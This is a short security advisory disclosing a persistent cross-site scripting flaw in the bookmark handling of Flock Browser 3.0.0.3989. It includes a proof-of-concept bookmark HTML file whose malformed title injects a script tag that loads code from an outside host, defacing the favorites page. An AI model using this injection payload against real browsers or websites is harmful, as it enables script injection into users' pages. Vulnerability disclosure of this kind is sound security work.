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Flock Browser 3.0.0.3989 Malformed Bookmark XSS
Vendor URL: http://beta.flock.com/ 
Advisore: http://lostmon.blogspot.com/2010/08/flock-browser-3003989-malformed.html 
Vendor notify:NO exploits availables:YES
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Flock is faster, simpler, and more friendly. Literally.
It's the only sleek, modern web browser with the built-in
ability to keep you up-to-date with your Facebook and Twitter
friends.This browser version (3.0.0.3989) is based in a old
chromium project


Flock has a flaw that allows Cross-site scripting style attacks
In bookmarks is has a Malformed bookmark title persistent xss
when inport from other browsers a malformed bookmark or when add
a new malformed bookmark or import a bookmark html file.

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Example Of Bookmark html file
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Men=FA Marcadores

HREF="http://www.mozilla.org" ADD_DATE="1282083605" 
LAST_MODIFIED="1282083638">"><script
src='http://vuln.xssed.net/thirdparty/scripts/ckers.org.js'> 


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 It is a persintent script insercion and when the user click in the
menu for view
favorites page or access directly to favorites url  this make a
"defacement" of this page and them the user can=B4t access to favorites
:)
( Url of favorites =>
chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title )

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Atentamente:
Lostmon (lostmon@gmail.com) 
Web-Blog: http://lostmon.blogspot.com/ 
Google group: http://groups.google.com/group/lostmon (new) 
--
La curiosidad es lo que hace mover la mente....